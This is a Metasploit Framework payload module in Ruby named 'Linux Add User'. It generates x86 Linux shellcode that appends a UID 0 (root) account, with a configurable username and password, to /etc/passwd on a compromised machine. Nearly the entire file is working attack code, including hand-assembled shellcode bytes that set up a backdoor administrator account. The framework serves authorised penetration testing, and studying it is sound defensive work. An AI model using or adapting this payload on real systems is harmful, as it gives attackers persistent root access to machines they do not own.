##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##


require 'msf/core'


###
#
# AddUser
# -------
#
# Adds a UID 0 user to /etc/passwd.
#
###
module Metasploit3

	include Msf::Payload::Single
	include Msf::Payload::Linux

	def initialize(info = {})
		super(merge_info(info,
			'Name'          => 'Linux Add User',
			'Description'   => 'Create a new user with UID 0',
			'Author'        => [ 'skape', 'vlad902', 'spoonm' ],
			'License'       => MSF_LICENSE,
			'Platform'      => 'linux',
			'Arch'          => ARCH_X86,
			'Privileged'    => true))

		# Register adduser options
		register_options(
			[
				OptString.new('USER',  [ true,  "The username to create",     "metasploit" ]),
				OptString.new('PASS',  [ true,  "The password for this user", "metasploit" ]),
				OptString.new('SHELL', [ false, "The shell for this user",    "/bin/sh"    ]),
			], self.class)
	end

	#
	# Dynamically builds the adduser payload based on the user's options.
	#
	def generate_stage
		user    = datastore['USER']  || 'metasploit'
		pass    = datastore['PASS']  || 'metasploit'
		shell   = datastore['SHELL'] || '/bin/sh'
		str     = "#{user}:#{pass.crypt('Az')}:0:0::/:#{shell}\n"
		payload =
			"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58" +
			"\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70" +
			"\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd" +
			"\x80\x93" + Rex::Arch::X86.call(str.length) + str +
			"\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58" +
			"\xcd\x80"
	end

end
